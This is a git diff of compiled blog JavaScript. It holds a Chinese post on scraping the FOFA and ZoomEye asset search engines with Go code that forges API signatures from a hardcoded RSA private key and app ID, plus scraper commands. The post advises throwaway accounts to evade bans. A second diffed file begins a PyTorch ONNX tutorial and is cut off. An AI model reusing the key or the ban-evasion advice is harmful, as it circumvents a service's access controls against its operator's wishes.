en:["\u5982\u4e0b",(0,r.jsx)(n.code,{children:"go"}),"\u8bed\u8a00\u7b80\u5355\u5b9e\u73b0"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-go",children:'package main\n\nimport (\n\t"crypto"\n\t"crypto/rand"\n\t"crypto/rsa"\n\t"crypto/sha256"\n\t"crypto/x509"\n\t"encoding/base64"\n\t"encoding/json"\n\t"encoding/pem"\n\t"errors"\n\t"fmt"\n\t"github.com/projectdiscovery/retryablehttp-go"\n\t"net/http"\n\t"sort"\n\t"strconv"\n\t"time"\n)\n\nconst (\n\tprivate = "-----BEGIN RSA PRIVATE KEY-----\\r\\nMIIEogIBAAKCAQEAv0xjefuBTF6Ox940ZqLLUFFBDtTcB9dAfDjWgyZ2A55K+VdG\\r\\nc1L5LqJWuyRkhYGFTlI4K5hRiExvjXuwIEed1norp5cKdeTLJwmvPyFgaEh7Ow19\\r\\nTu9sTR5hHxThjT8ieArB2kNAdp8Xoo7O8KihmBmtbJ1umRv2XxG+mm2ByPZFlTdW\\r\\nRFU38oCPkGKlrl/RzOJKRYMv10s1MWBPY6oYkRiOX/EsAUVae6zKRqNR2Q4HzJV8\\r\\ngOYMPvqkau8hwN8i6r0z0jkDGCRJSW9djWk3Byi3R2oSdZ0IoS+91MFtKvWYdnNH\\r\\n2Ubhlnu1P+wbeuIFdp2u7ZQOtgPX0mtQ263e5QIDAQABAoIBAD67GwfeTMkxXNr3\\r\\n5/EcQ1XEP3RQoxLDKHdT4CxDyYFoQCfB0e1xcRs0ywI1be1FyuQjHB5Xpazve8lG\\r\\nnTwIoB68E2KyqhB9BY14pIosNMQduKNlygi/hKFJbAnYPBqocHIy/NzJHvOHOiXp\\r\\ndL0AX3VUPkWW3rTAsar9U6aqcFvorMJQ2NPjijcXA0p1MlZAZKODO2wqidfQ487h\\r\\nxy0ZkriYVi419j83a1cCK0QocXiUUeQM6zRNgQv7LCmrFo2X4JEzlujEveqvsDC4\\r\\nMBRgkK2lNH+AFuRwOEr4PIlk9rrpHA4O1V13P3hJpH5gxs5oLLM1CWWG9YWLL44G\\r\\nzD9Tm8ECgYEA8NStMXyAmHLYmd2h0u5jpNGbegf96z9s/RnCVbNHmIqh/pbXizcv\\r\\nmMeLR7a0BLs9eiCpjNf9hob/JCJTms6SmqJ5NyRMJtZghF6YJuCSO1MTxkI/6RUw\\r\\nmrygQTiF8RyVUlEoNJyhZCVWqCYjctAisEDaBRnUTpNn0mLvEXgf1pUCgYEAy1kE\\r\\nd0YqGh/z4c/D09crQMrR/lvTOD+LRMf9lH+SkScT0GzdNIT5yuscRwKsnE6SpC5G\\r\\nySJFVhCnCBsQqq+ohsrXt8a99G7ePTMSAGK3QtC7QS3liDmvPBk6mJiLrKiRAZos\\r\\nvgPg7nTP8VuF0ZIKzkdWbGoMyNxVFZXovQ8BYxECgYBvCR9xGX4Qy6KiDlV18wNu\\r\\nElYkxVqFBBE0AJRg/u+bnQ9jWhi2zxLa1eWZgtss80c876I8lbkGNWedOVZioatm\\r\\nMFLC4bFalqyZWyO7iP7i60LKvfDJfkOSlDUu3OikahFOiqyG1VBz4+M4U500alIU\\r\\nAVKD14zTTZMopQSkgUXsoQKBgHd8RgiD3Qde0SJVv97BZzP6OWw5rqI1jHMNBK72\\r\\nSzwpdxYYcd6DaHfYsNP0+VIbRUVdv9A95/oLbOpxZNi2wNL7a8gb6tAvOT1Cvggl\\r\\n+UM0fWNuQZpLMvGgbXLu59u7bQFBA5tfkhLr5qgOvFIJe3n8JwcrRXndJc26OXil\\r\\n0Y3RAoGAJOqYN2CD4vOs6CHdnQvyn7ICc41ila/H49fjsiJ70RUD1aD8nYuosOnj\\r\\nwbG6+eWekyLZ1RVEw3eRF+aMOEFNaK6xKjXGMhuWj3A9xVw9Fauv8a2KBU42Vmcd\\r\\nt4HRyaBPCQQsIoErdChZj8g7DdxWheuiKoN4gbfK4W1APCcuhUA=\\r\\n-----END RSA PRIVATE KEY-----"\n\tappId = "9e9fb94330d97833acfbc041ee1a76793f1bc691"\n\tstats = "https://api.fofa.info/v1/search/stats?qbase64=%s&full=%v&fields=%s&ts=%v&sign=%s&app_id=%s"\n\tURL = "https://fofa.info/result?qbase64=%s&page=%d&page_size=%d"\n)\n\ntype fofaRequest struct {\n\tQuery string `json:"query"`\n\tPage int `json:"page"`\n\tPageNum int `json:"page_num"`\n}\n\nvar rsaPrivateKey *rsa.PrivateKey\n\nfunc init() {\n\trsaPrivateKey, _ = parsePKCS1PemByPrivateKey([]byte(private))\n}\n\ntype foFaStatsResponse struct {\n\tCode int `json:"code,omitempty"`\n\tMessage string `json:"message,omitempty"`\n\tData interface{} `json:"data,omitempty"`\n}\n\ntype data struct {\n\tSize int `json:"size"`\n\tPage int `json:"page"`\n\tCountries []country `json:"countries"`\n}\n\ntype country struct {\n\tCode string `json:"code"`\n\tName string `json:"name"`\n\tCount int `json:"count"`\n\tRegions []region `json:"regions"`\n}\ntype region struct {\n\tCode string `json:"code"`\n\tCount int `json:"count"`\n\tName string `json:"name"`\n}\n\nfunc serialize(h map[string]any) string {\n\tvar keys []string\n\tfor k, _ := range h {\n\t\tkeys = append(keys, k)\n\t}\n\tsort.Strings(keys)\n\ts := ""\n\tfor _, k := range keys {\n\t\tswitch h[k].(type) {\n\t\tcase string:\n\t\t\tif h[k] == "" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\ts += fmt.Sprintf("%s%v", k, h[k])\n\t}\n\treturn s\n}\n\nfunc hashWithSha256(b []byte) (hashed []byte) {\n\tmyHash := sha256.New()\n\tmyHash.Write(b)\n\treturn myHash.Sum(nil)\n}\nfunc parsePKCS1PemByPrivateKey(b []byte) (*rsa.PrivateKey, error) {\n\tp, _ := pem.Decode(b)\n\tif p == nil {\n\t\treturn nil, errors.New("pem\u683c\u5f0f\u9519\u8bef")\n\t}\n\tprivate, err := x509.ParsePKCS1PrivateKey(p.Bytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn private, nil\n}\n\nfunc signQuery(str string) (string, error) {\n\thashed := hashWithSha256([]byte(str))\n\tv15, err := signPKCS1v15(rsaPrivateKey, crypto.SHA256, hashed)\n\tif err != nil {\n\t\treturn "", err\n\t}\n\treturn base64.StdEncoding.EncodeToString(v15), nil\n}\nfunc signPKCS1v15(private *rsa.PrivateKey, hash crypto.Hash, hashed []byte) (sign []byte, err error) {\n\treturn rsa.SignPKCS1v15(rand.Reader, private, hash, hashed)\n}\n\nfunc main() {\n\tfofaResponse := &foFaStatsResponse{}\n\tm := make(map[string]interface{})\n\tts := strconv.FormatInt(time.Now().Unix(), 10)\n\tqbase64 := "baidu.com"\n\tqbase64 = base64.StdEncoding.EncodeToString([]byte(qbase64))\n\tm["qbase64"] = qbase64\n\tm["full"] = false\n\tm["fields"] = ""\n\tm["ts"] = ts\n\tsign, err := signQuery(serialize(m))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tSTATS := fmt.Sprintf(stats, qbase64, false, "", ts, sign, appId)\n\trequest, err := retryablehttp.NewRequest(http.MethodGet, STATS, nil)\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\trequest.Header.Set("Referer", "https://fofa.info/")\n\tresp, err := retryablehttp.DefaultHTTPClient.Do(request)\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\tif err := json.NewDecoder(resp.Body).Decode(fofaResponse); err != nil {\n\t\tpanic(err.Error())\n\t}\n\tif fofaResponse.Code == -9 {\n\t\tpanic(fofaResponse)\n\t}\n\tswitch fofaResponse.Data.(type) {\n\tcase string:\n\t\tpanic(fofaResponse.Message)\n\tdefault:\n\n\t\tif temp, ok := fofaResponse.Data.(map[string]interface{}); !ok {\n\t\t\tfmt.Println(fofaResponse.Data)\n\t\t\tpanic(errors.New("\u9519\u8bef\u7684\u5bf9\u8c61"))\n\t\t} else {\n\t\t\tfmt.Println(temp)\n\t\t}\n\t}\n\n}\n\n'})}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"image-20240318233451482",src:t(27640).A+"",width:"1828",height:"532"})}),"\n",(0,r.jsxs)(n.p,{children:["\u6700\u540e\u7b80\u5355\u6574\u5408\u5230\u5de5\u5177\u91cc\uff0c\u5c31\u53ef\u4ee5\u4e00\u952e\u4f7f\u7528\u4e86\uff0c\u76ee\u524d\u5df2\u7ecf\u5b9e\u73b0\u4e86\uff0c\u5728\u6211\u7684",(0,r.jsx)(n.a,{href:"https://github.com/wjlin0/pathScan",children:"pathScan"}),"\u6216",(0,r.jsx)(n.a,{href:"https://github.com/wjlin0/uncover",children:"uncover"})," \u91cc\u9762\u7684",(0,r.jsx)(n.code,{children:"fofa-spider"})]}),"\n",(0,r.jsx)(n.p,{children:"\u4f7f\u7528\u4e5f\u5f88\u7b80\u5355"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-sh",children:'uncover -fofa-spider domain="baidu.com"\n\u6216\u8005\npathScan -uq \'domain="baidu.com"\' -ue fofa-spider -silent\n'})}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"image-20240319002657624",src:t(47610).A+"",width:"1482",height:"480"})}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"image-20240319003509717",src:t(65187).A+"",width:"1936",height:"394"})}),"\n",(0,r.jsxs)(n.p,{children:["\u5f53\u7136\u5177\u4f53\u7528\u6cd5\u53ef\u4ee5\u53c2\u8003",(0,r.jsx)(n.code,{children:"pathScan"}),"\u4e2d\u7684\u53c2\u8003\u547d\u4ee4"]}),"\n",(0,r.jsx)(n.h2,{id:"cookie\u7684\u5b9e\u73b0",children:"Cookie\u7684\u5b9e\u73b0"}),"\n",(0,r.jsxs)(n.p,{children:["\u7531\u4e8e\u4e0d\u52a0",(0,r.jsx)(n.code,{children:"cookie"}),"\u7684\u6bcf\u4e2a\u56fd\u5bb6\u53ea\u80fd\u8bbf\u95ee\u4e00\u9875\u7684\u8d44\u6e90\u6240\u4ee5\u5c31\u5f88\u96be\u53d7\uff0c\u7279\u5730\u52a0\u4e86\u73af\u5883\u53d8\u91cf",(0,r.jsx)(n.code,{children:"FOFA_COOKIE"}),"\uff0c\u6765\u83b7\u53d6\u8eab\u4efd\uff0c\u6240\u4ee5\u53ea\u9700\u8981\u628a\u767b\u9646\u540e\u7684cookie\u590d\u5236\u51fa\u6765\uff0c\u5229\u7528\u73af\u5883\u53d8\u91cf \u5728\u8fd0\u884c",(0,r.jsx)(n.code,{children:"pathScan"}),"\u6216",(0,r.jsx)(n.code,{children:"uncover"}),"\u524d\uff0c\u5c31\u53ef\u4ee5\u6bcf\u4e2a\u57ce\u5e02\u8bfb5\u9875\u751a\u81f3\u66f4\u591a\uff0c\u5982\u4e0b\u4ee3\u7801"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-sh",children:'export FOFA_COOKIE="your cookies" uncover -fofa-spider domain="baidu.com" \n\u6216\u8005\nexport FOFA_COOKIE="your cookies" pathScan -uq \'domain="baidu.com"\' -ue fofa-spider -silent\n'})}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.strong,{children:"\u26a0\ufe0f\u4f46\u8981\u6ce8\u610f\u7684\u662f\uff0c\u52a0\u4e86cookie\u540e \u7528\u7684\u6b21\u6570\u8fc7\u591a\u4f1a\u5b58\u5728\u5c01\u53f7\u7684\u53ef\u80fd\uff0c\u6240\u4ee5\u6bcf\u6b21\u8fd0\u884c\u53ef\u4ee5\u901a\u8fc7\u4e34\u65f6\u90ae\u7bb1\u5efa\u7acb\u4e00\u4e2a\u8d26\u6237\uff0c\u518d\u628acookie\u52a0\u8fdb\u53bb\uff0c\u5c31\u6ca1\u4e8b\u4e86"})}),"\n",(0,r.jsx)(n.h2,{id:"\u63d0\u95ee",children:"\u63d0\u95ee"}),"\n",(0,r.jsxs)(n.p,{children:["\u5982\u679c\u5bf9\u8fd9\u4e2a\u722c\u866b\u7684api\u8c03\u7528\u6709\u95ee\u9898\uff0c\u6b22\u8fce\u90ae\u4ef6\u63d0\u95ee ",(0,r.jsx)(n.code,{children:"support@wjlin0.com"}),"\u6216\u8005",(0,r.jsx)(n.code,{children:"support2@wjlin0.com"})," \u6211\u4f1a\u7b2c\u4e00\u65f6\u95f4\u56de\u590d\u7684"]}),"\n",(0,r.jsx)(n.h1,{id:"zoomeye\u722c\u866b\u7684\u7814\u7a76",children:"Zoomeye\u722c\u866b\u7684\u7814\u7a76"}),"\n",(0,r.jsx)(n.h2,{id:"\u524d\u6cbf-1",children:"\u524d\u6cbf"}),"\n",(0,r.jsxs)(n.p,{children:["\u5bf9fofa\u722c\u866b\u5b9e\u73b0\u540e\uff0c\u6211\u7279\u5730\u53bb\u770b\u4e86\u4e00\u4e0b",(0,r.jsx)(n.code,{children:"zoomeye"}),"\u7684\uff0c\u53d1\u73b0\u4ed6\u6ca1\u6709\u8fd9\u4e2aapi\u7684\u7b7e\u540d\u6821\u9a8c\uff0c\u5e76\u4e14\u5b83\u7684\u6570\u636e\u83b7\u53d6\u5b8c\u5168\u53ef\u4ee5\u901a\u8fc7\u8c03\u7528api\u6765\u5b9e\u73b0\u3002"]}),"\n",(0,r.jsxs)(n.p,{children:["\u5982\u4e0b\u56fe\u6240\u793a\uff0c\u8fd9\u91cc\u53ef\u4ee5\u901a\u8fc7\u8c03\u7528",(0,r.jsx)(n.code,{children:"/api/search"}),"\u6765\u83b7\u53d6\u7ed3\u679c"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"image-20240319173639944",src:t(35020).A+"",width:"2672",height:"1330"})}),"\n",(0,r.jsx)(n.h2,{id:"\u5206\u6790-1",children:"\u5206\u6790"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd8\u662f\u4e0efofa\u7684\u601d\u60f3\u4e00\u6837 \u83b7\u53d6\u57ce\u5e02\u4fe1\u606f\u518d\u9010\u4e00\u722c\u53d6\uff0c\u5e76\u4e14\u6211\u53d1\u73b0\uff0czoomeye\u8fd8\u7cbe\u7ec6\u4e86\u7701\u7ea7\u548c\u5e02\u7ea7\u884c\u653f\u5212\u5206\u3002"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"image-20240319173751654",src:t(36766).A+"",width:"2470",height:"1410"})}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u6837\u4e0efofa\u76f8\u6bd4\u4ee3\u7801\u5c31\u66f4\u52a0\u7b80\u5355\u4e86\uff0c\u4f46\u662f\u6211\u5728\u722c\u53d6\u7684\u8fc7\u7a0b\u4e2d\uff0c\u53d1\u73b0\u6709\u521b\u5b87\u76fe\u7684\u62e6\u622a\uff0c\u4f1a\u9650\u5236\u8bf7\u6c42\u901f\u7387\uff0c\u8fd9\u6ca1\u529e\u6cd5\u4e86\u53ea\u80fd\u63a7\u5236\u8bf7\u6c42\u901f\u5ea6\u4e86\u3002"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{alt:"image-20240319193547615",src:t(55079).A+"",width:"2074",height:"1436"})}),"\n",(0,r.jsx)(n.h2,{id:"cookie\u7684\u5b9e\u73b0-1",children:"Cookie\u7684\u5b9e\u73b0"}),"\n",(0,r.jsx)(n.p,{children:"\u4e0efofa\u7684\u5b9e\u73b0\u7c7b\u4f3c\uff0c\u9700\u8981\u767b\u9646\u540e\uff0c\u5c06cookie\u8bbe\u7f6e\u73af\u5883\u53d8\u91cf"}),"\n",(0,r.jsx)(n.p,{children:"\u26a0\ufe0f \u8fd9\u6837\u53ef\u80fd\u5bfc\u81f4\u5c01\u53f7\u7684\u5904\u7406\uff0c\u8bf7\u8c28\u614e\u4f7f\u7528"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-sh",children:'export ZOOMEYE_COOKIE="your cookies" uncover -zoomeye-spider baidu.com\n\u6216\u8005\nexport ZOOMEYE_COOKIE="your cookies" pathScan -ue zoomeye-spider -uq baidu.com -silent\n'})}),"\n",(0,r.jsx)(n.h1,{id:"\u5de5\u5177\u9879\u76ee\u5730\u5740",children:"\u5de5\u5177\u9879\u76ee\u5730\u5740"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:(0,r.jsx)(n.a,{href:"https://github.com/wjlin0/pathScan/",children:"pathScan"})}),"\n",(0,r.jsx)(n.li,{children:(0,r.jsx)(n.a,{href:"https://github.com/wjlin0/uncover",children:"uncover"})}),"\n"]})]})}function l(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,r.jsx)(n,{...e,children:(0,r.jsx)(h,{...e})}):h(e)}},28453:(e,n,t)=>{t.d(n,{R:()=>a,x:()=>o});var s=t(96540);const r={},i=s.createContext(r);function a(e){const n=s.useContext(i);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function o(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:a(e.components),s.createElement(i.Provider,{value:n},e.children)}},35020:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/202403192205114-0f3b6ab94429959c10f0fb54bd29b887.png"},36766:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/202403192205116-637ad2d0c24c819e3475704613d6c08f.png"},47610:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/202403192205112-dd008b103944db149227f73266daa513.png"},55079:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/202403192205117-99ae4163c5e136f4c521810ae9c9335f.png"},65187:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/202403192205113-c02ad2dcfdece0a929c81f63e0a56f38.png"},76657:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/202403182338872-1e44b57182fc5142b8d25abba83ce795.png"},77777:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/202403192205111-4a87ad8cf4c7c9bb221a2d25c0fe9fef.png"},82949:(e,n,t)=>{t.d(n,{A:()=>s});const s=t.p+"assets/images/202403182338102-f0b786e6e9b8323ececb24101cb8dbbb.png"}}]); \ No newline at end of file diff --git a/en/assets/js/9d9fd274.414ef9f8.js b/en/assets/js/9d9fd274.414ef9f8.js new file mode 100644 index 0000000..eca9357 --- /dev/null +++ b/en/assets/js/9d9fd274.414ef9f8.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7462],{18513:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>c,contentTitle:()=>l,default:()=>h,frontMatter:()=>s,metadata:()=>i,toc:()=>d});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406","title":"9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/09.\u7b2c\u4e5d\u7ae0/9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/09.\u7b2c\u4e5d\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/09.\u7b2c\u4e5d\u7ae0/9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7b2c\u4e5d\u7ae0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e5d\u7ae0/"},"next":{"title":"\u7b2c\u5341\u7ae0","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/"}}');var o=t(74848),r=t(28453);const s={},l="9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406.md",c={},d=[{value:"9.1.1 ONNX\u548cONNX Runtime\u7b80\u4ecb",id:"911-onnx\u548connx-runtime\u7b80\u4ecb",level:2},{value:"9.1.1.1 ONNX\u7b80\u4ecb",id:"9111-onnx\u7b80\u4ecb",level:3},{value:"9.1.1.2 ONNX Runtime\u7b80\u4ecb",id:"9112-onnx-runtime\u7b80\u4ecb",level:3},{value:"9.1.1.3 ONNX\u548cONNX Runtime\u7684\u5b89\u88c5",id:"9113-onnx\u548connx-runtime\u7684\u5b89\u88c5",level:3},{value:"9.1.2 \u6a21\u578b\u5bfc\u51fa\u4e3aONNX",id:"912-\u6a21\u578b\u5bfc\u51fa\u4e3aonnx",level:2},{value:"9.1.2.1 \u6a21\u578b\u8f6c\u6362\u4e3aONNX\u683c\u5f0f",id:"9121-\u6a21\u578b\u8f6c\u6362\u4e3aonnx\u683c\u5f0f",level:3},{value:"9.1.2.2 ONNX\u6a21\u578b\u7684\u68c0\u9a8c",id:"9122-onnx\u6a21\u578b\u7684\u68c0\u9a8c",level:3},{value:"9.1.2.3 ONNX\u53ef\u89c6\u5316",id:"9123-onnx\u53ef\u89c6\u5316",level:3},{value:"9.1.3 \u4f7f\u7528ONNX Runtime\u8fdb\u884c\u63a8\u7406",id:"913-\u4f7f\u7528onnx-runtime\u8fdb\u884c\u63a8\u7406",level:2},{value:"9.1.4 \u4ee3\u7801\u5b9e\u6218",id:"914-\u4ee3\u7801\u5b9e\u6218",level:2},{value:"1. \u5b9a\u4e49\u8d85\u5206\u8fa8\u6a21\u578b",id:"1-\u5b9a\u4e49\u8d85\u5206\u8fa8\u6a21\u578b",level:3},{value:"2. \u6a21\u578b\u5bfc\u51fa\u4e3aONNX\u683c\u5f0f",id:"2-\u6a21\u578b\u5bfc\u51fa\u4e3aonnx\u683c\u5f0f",level:3},{value:"3. \u68c0\u9a8cONNX\u6a21\u578b",id:"3-\u68c0\u9a8connx\u6a21\u578b",level:3},{value:"4. \u4f7f\u7528ONNX Runtime\u8fdb\u884c\u63a8\u7406",id:"4-\u4f7f\u7528onnx-runtime\u8fdb\u884c\u63a8\u7406",level:3},{value:"5. \u8fdb\u884c\u5b9e\u9645\u9884\u6d4b\u5e76\u53ef\u89c6\u5316",id:"5-\u8fdb\u884c\u5b9e\u9645\u9884\u6d4b\u5e76\u53ef\u89c6\u5316",level:3},{value:"\u53c2\u8003\u8d44\u6599",id:"\u53c2\u8003\u8d44\u6599",level:2}];function a(n){const e={a:"a",code:"code",em:"em",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...n.components};return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(e.header,{children:(0,o.jsx)(e.h1,{id:"91-\u4f7f\u7528onnx\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406md",children:"9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,o.jsxs)(e.table,{children:[(0,o.jsx)(e.thead,{children:(0,o.jsxs)(e.tr,{children:[(0,o.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,o.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,o.jsx)(e.tbody,{children:(0,o.jsxs)(e.tr,{children:[(0,o.jsx)(e.td,{style:{textAlign:"left"},children:(0,o.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,o.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:31"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,o.jsxs)(e.table,{children:[(0,o.jsx)(e.thead,{children:(0,o.jsxs)(e.tr,{children:[(0,o.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,o.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,o.jsx)(e.tbody,{children:(0,o.jsxs)(e.tr,{children:[(0,o.jsx)(e.td,{style:{textAlign:"left"},children:(0,o.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,o.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,o.jsx)(e.h1,{id:"91-\u4f7f\u7528onnx\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406",children:"9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406"}),"\n",(0,o.jsx)(e.p,{children:"\u6df1\u5ea6\u5b66\u4e60\u7684\u6700\u7ec8\u76ee\u7684\u662f\u8981\u5b9e\u73b0\u6a21\u578b\u7684\u90e8\u7f72\u4ee5\u65b9\u4fbf\u6211\u4eec\u7684\u751f\u6d3b\u548c\u89e3\u51b3\u4f20\u7edf\u65b9\u6cd5\u4e0d\u80fd\u89e3\u51b3\u7684\u95ee\u9898\u3002\u901a\u5e38\u4eba\u4eec\u4f1a\u5c06\u6a21\u578b\u90e8\u7f72\u5728\u624b\u673a\u7aef\u3001\u5f00\u53d1\u677f\uff0c\u5d4c\u5165\u5f0f\u8bbe\u5907\u4e0a\uff0c\u4f46\u662f\u8fd9\u4e9b\u8bbe\u5907\u4e0a\u7531\u4e8e\u6846\u67b6\u7684\u89c4\u6a21\uff0c\u73af\u5883\u4f9d\u8d56\uff0c\u7b97\u529b\u7684\u9650\u5236\uff0c\u6211\u4eec\u65e0\u6cd5\u76f4\u63a5\u4f7f\u7528\u8bad\u7ec3\u597d\u7684\u6743\u91cd\u8fdb\u884c\u63a8\u7406\uff0c\u56e0\u6b64\u6211\u4eec\u9700\u8981\u5c06\u5f97\u5230\u7684\u6743\u91cd\u8fdb\u884c\u53d8\u6362\u624d\u80fd\u4f7f\u6211\u4eec\u7684\u6a21\u578b\u53ef\u4ee5\u6210\u529f\u90e8\u7f72\u5728\u4e0a\u8ff0\u8bbe\u5907\u4e0a\u3002\u800c\u7ecf\u8fc7\u5de5\u4e1a\u754c\u548c\u5b66\u672f\u754c\u591a\u5e74\u7684\u63a2\u7d22\uff0c\u51fa\u73b0\u4e86\u4ee5\u4e0b\u7684\u6a21\u578b\u90e8\u7f72pipeline\uff1a"}),"\n",(0,o.jsx)(e.img,{src:"./figures/pipeline.jpg",alt:"\u6846\u67b6",align:"center",style:{zoom:"50%"}}),"\n",(0,o.jsx)(e.p,{children:"\u800c\u5728\u672c\u8282\u4e2d\u6211\u4eec\u4f1a\u5c06PyTorch\u8bad\u7ec3\u597d\u7684\u6a21\u578b\u8f6c\u6362\u4e3aONNX \u683c\u5f0f\uff0c\u7136\u540e\u4f7f\u7528ONNX Runtime\u8fd0\u884c\u5b83\u8fdb\u884c\u63a8\u7406\u3002\u901a\u8fc7\u672c\u8282\u8bfe\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,o.jsxs)(e.ol,{children:["\n",(0,o.jsx)(e.li,{children:"\u6a21\u578b\u90e8\u7f72\u7684\u6574\u4f53\u6d41\u7a0b"}),"\n",(0,o.jsx)(e.li,{children:"\u4f7f\u7528torch.onnx\u8fdb\u884c\u6a21\u578b\u683c\u5f0f\u7684\u8f6c\u5316"}),"\n",(0,o.jsx)(e.li,{children:"\u4f7f\u7528ONNX Runtime\u8fdb\u884c\u6a21\u578b\u63a8\u7406"}),"\n",(0,o.jsx)(e.li,{children:"\u5b8c\u6574\u7684\u5b98\u65b9\u4ee3\u7801\u89e3\u91ca"}),"\n"]}),"\n",(0,o.jsx)(e.h2,{id:"911-onnx\u548connx-runtime\u7b80\u4ecb",children:"9.1.1 ONNX\u548cONNX Runtime\u7b80\u4ecb"}),"\n",(0,o.jsx)(e.h3,{id:"9111-onnx\u7b80\u4ecb",children:"9.1.1.1 ONNX\u7b80\u4ecb"}),"\n",(0,o.jsxs)(e.ul,{children:["\n",(0,o.jsxs)(e.li,{children:["ONNX\u5b98\u7f51\uff1a",(0,o.jsx)(e.a,{href:"https://onnx.ai/",children:"https://onnx.ai/"})]}),"\n",(0,o.jsxs)(e.li,{children:["ONNX 